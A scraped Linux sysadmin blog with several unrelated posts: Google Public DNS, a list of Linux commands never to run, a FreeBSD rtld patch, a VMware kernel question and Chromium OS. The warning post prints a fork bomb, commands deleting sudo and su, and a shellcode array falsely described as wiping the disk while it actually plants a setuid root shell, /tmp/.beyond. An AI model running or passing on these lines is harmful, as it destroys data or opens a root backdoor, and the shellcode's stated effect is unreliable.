Today Google unveiled its new project: Google Public DNS. It means now anybody can use Google’s DNS managed servers for resolving domain names into IP addresses and back. According to Google it should speedup browsing as well as security. Hope I won’t see adsense ads once tried to load expired domain name (that’s how OpenDNS acts today).
Here are easy-to-remember Google Public DNS IP addresses: 8.8.8.8 and 8.8.4.4.
In this post I will collect all commands which SHOULD NEVER be executed in Linux. Any of them will cause data loss or corruption, can freeze or hang up running system.
NEVER RUN THESE COMMANDS IN LINUX BOX CLI!
Even if somebody advises you in forum/im to do it.
1. Any of these commands will erase everything from your home directory, root or just will clear up whole disk:
2. Causes kernel panic or freezes Linux box:
){:|:&};: #also known as fork bomb3. This one does the same as “rm -rf /”:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
4. This one will prevent you from executing commands with root rights:
rm -f /usr/bin/sudo;rm -f /bin/su
If you know any other commands that can damage running Linux system or pose fatal problem to system administrators — just comment it here so I could update this post. Thanks.
Update: See what happens if execute rm -rf / in Ubuntu: http://www.youtube.com/watch?v=wWOjmvWPRvQ
Yesterday really serious security bug was found in FreeBSD (from 7.1 to 8.0). Using public exploit local user can gain root privileges on vulnerable system. Below is an easy way solution to fix this terrible bug:
% cd /usr/src/libexec/rtld-elf/
% fetch http://people.freebsd.org/~cperciva/rtld.patch
% cat rtld.patch | patch -p1
% make && make install && make clean
Thanks to soko1 from truebsd.org.
While today 2.6.32 is the mainline version of Linux kernel, 2.4 branch is still supported by Linux community developers who fix security bugs there but don’t add any new functionality (unlike 2.6 that grows with new features like a snowball). Sometimes it happens that Linux box runs too much services which cannot be stopped so that admin is not allowed to migrate from 2.4 to 2.6 to keep those services online.
In my example the box runs 2.4.37.7 kernel but Vmware Server 1.0.* fails on it with segmentation fault throwing into the logs the errors below in this post. Does that look familiar to anybody? Is there any solution to run Vmware Server at 2.4.37 kernel? Thank you!
Today Google has announced operating system Google Chromium OS. It still not ready to end users as is under deep development but now everyone can see its concepts, benefits and nature. Astonishing news as for me. There were a lot of rumors about Google OS (gos) before it was presented to the public in real. Now it’s clear that the most promising OS these days is based on Linux kernel. Let’s see what Google just have presented in details:
All apps are web apps. The entire experience takes place within the browser and there are no conventional desktop applications. This means users do not have to deal with installing, managing and updating programs.
Because all apps live within the browser, there are significant benefits to security. Unlike traditional operating systems, Chrome OS doesn’t trust the applications you run. Each app is contained within a security sandbox making it harder for malware and viruses to infect your computer. Furthermore, Chrome OS barely trusts itself. Every time you restart your computer the operating system verifies the integrity of its code.
We are obsessed with speed. We are taking out every unnecessary process, optimizing many operations and running everything possible in parallel. This means you can go from turning on the computer to surfing the web in a few seconds.
VMware Virtual Machine with Chromium OS can be found here (torrent).
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My name is Artem N. (artiomix AT gmail DOT com) and I'm Linux/Unix, Cisco systems engineer. The main idea of Linux Screw is to share relevant knowledge, skills and observations over The Web. Here you can find a lot of information related to different Linux distributions, FreeBSD, IOS as well as a other Open Source around staff. Read more ›› |
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